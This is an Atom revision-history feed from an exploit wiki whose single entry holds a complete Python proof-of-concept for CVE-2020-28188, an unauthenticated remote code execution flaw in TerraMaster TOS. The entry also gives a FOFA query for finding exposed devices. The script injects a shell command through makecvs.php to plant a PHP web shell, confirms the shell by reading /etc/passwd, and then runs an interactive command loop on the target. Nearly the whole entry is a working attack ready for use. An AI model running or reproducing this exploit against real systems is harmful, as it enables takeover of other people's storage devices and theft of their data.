<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-28188_TerraMaster_TOS_RCE%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2020-28188 TerraMaster TOS RCE漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-28188_TerraMaster_TOS_RCE%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-28188_TerraMaster_TOS_RCE%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-15T10:10:59Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2020-28188_TerraMaster_TOS_RCE%E6%BC%8F%E6%B4%9E&amp;diff=2719&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==漏洞影響== TerraMaster TOS &lt; 4.2.06  ==FOFA== &lt;pre&gt; &quot;TerraMaster&quot; &amp;&amp; header=&quot;TOS&quot; &lt;/pre&gt;  ==POC== &lt;pre&gt; # Exploit Title: TerraMaster TOS 4.2.06 - RCE (Unauthenticated) #...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-28188_TerraMaster_TOS_RCE%E6%BC%8F%E6%B4%9E&amp;diff=2719&amp;oldid=prev"/>
		<updated>2021-05-07T09:09:38Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==漏洞影響== TerraMaster TOS &amp;lt; 4.2.06  ==FOFA== &amp;lt;pre&amp;gt; &amp;quot;TerraMaster&amp;quot; &amp;amp;&amp;amp; header=&amp;quot;TOS&amp;quot; &amp;lt;/pre&amp;gt;  ==POC== &amp;lt;pre&amp;gt; # Exploit Title: TerraMaster TOS 4.2.06 - RCE (Unauthenticated) #...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==漏洞影響==&lt;br /&gt;
TerraMaster TOS &amp;lt; 4.2.06&lt;br /&gt;
&lt;br /&gt;
==FOFA==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;quot;TerraMaster&amp;quot; &amp;amp;&amp;amp; header=&amp;quot;TOS&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: TerraMaster TOS 4.2.06 - RCE (Unauthenticated)&lt;br /&gt;
# Date: 12/12/2020&lt;br /&gt;
# Exploit Author: IHTeam&lt;br /&gt;
# Full Write-up: https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/&lt;br /&gt;
# Vendor Homepage: https://www.terra-master.com/&lt;br /&gt;
# Version: &amp;lt;= 4.2.06&lt;br /&gt;
# Tested on: 4.1.30, 4.2.06&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import argparse&lt;br /&gt;
import requests&lt;br /&gt;
import time&lt;br /&gt;
import sys&lt;br /&gt;
import urllib.parse&lt;br /&gt;
from requests.packages.urllib3.exceptions import InsecureRequestWarning&lt;br /&gt;
&lt;br /&gt;
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)&lt;br /&gt;
&lt;br /&gt;
parser = argparse.ArgumentParser(description=&amp;quot;TerraMaster TOS &amp;lt;= 4.2.06 Unauth RCE&amp;quot;)&lt;br /&gt;
parser.add_argument('--url', action='store', dest='url', required=True, help=&amp;quot;Full URL and port e.g.: http://192.168.1.111:8081/&amp;quot;)&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
&lt;br /&gt;
url = args.url&lt;br /&gt;
headers = {'User-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36'}&lt;br /&gt;
epoch_time = int(time.time())&lt;br /&gt;
shell_filename = &amp;quot;debug&amp;quot;+str(epoch_time)+&amp;quot;.php&amp;quot;&lt;br /&gt;
&lt;br /&gt;
def check_endpoint(url, headers):&lt;br /&gt;
    response = requests.get(url+'/version', headers=headers, verify=False)&lt;br /&gt;
    if response.status_code == 200:&lt;br /&gt;
        print(&amp;quot;[+] TerraMaster TOS version: &amp;quot;, str(response.content))&lt;br /&gt;
    else:&lt;br /&gt;
        print(&amp;quot;\n[-] TerraMaster TOS response code: &amp;quot;, response.status_code)&lt;br /&gt;
        sys.exit()&lt;br /&gt;
&lt;br /&gt;
def upload_shell(url, headers, shell_filename):&lt;br /&gt;
    payload = &amp;quot;http|echo \&amp;quot;&amp;lt;?php echo(passthru(\\$_GET['cmd']));?&amp;gt;\&amp;quot; &amp;gt;&amp;gt; /usr/www/&amp;quot;+shell_filename+&amp;quot; &amp;amp;&amp;amp; chmod +x /usr/www/&amp;quot;+shell_filename+&amp;quot;||&amp;quot;&lt;br /&gt;
    payload = urllib.parse.quote(payload, safe='')&lt;br /&gt;
    print(&amp;quot;[/] Uploading shell...&amp;quot;)&lt;br /&gt;
    response = requests.get(url+'/include/makecvs.php?Event='+payload, headers=headers, verify=False)&lt;br /&gt;
    time.sleep(1)&lt;br /&gt;
    response = requests.get(url+'/'+shell_filename+'?cmd=cat /etc/passwd', headers=headers, verify=False)&lt;br /&gt;
    if ('root:' in str(response.content, 'utf-8')):&lt;br /&gt;
        print(&amp;quot;[+] Upload succeeded&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(&amp;quot;\n[-] Error uploading shell: &amp;quot;, response.content)&lt;br /&gt;
        sys.exit()&lt;br /&gt;
&lt;br /&gt;
def interactive_shell(url, headers, shell_filename, cmd):&lt;br /&gt;
    response = requests.get(url+'/'+shell_filename+'?cmd='+urllib.parse.quote(cmd, safe=''), headers=headers, verify=False)&lt;br /&gt;
    print(str(response.text)+&amp;quot;\n&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def delete_shell(url, headers, shell_filename):&lt;br /&gt;
    delcmd = &amp;quot;rm /usr/www/&amp;quot;+shell_filename&lt;br /&gt;
    response = requests.get(url+'/'+shell_filename+'?cmd='+urllib.parse.quote(delcmd, safe=''), headers=headers, verify=False)&lt;br /&gt;
    print(&amp;quot;\n[+] Shell deleted&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
upload_shell(url, headers, shell_filename)&lt;br /&gt;
try:&lt;br /&gt;
    while True:&lt;br /&gt;
        cmd = input(&amp;quot;# &amp;quot;)&lt;br /&gt;
        interactive_shell(url, headers, shell_filename, cmd)&lt;br /&gt;
except:&lt;br /&gt;
    delete_shell(url, headers, shell_filename)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>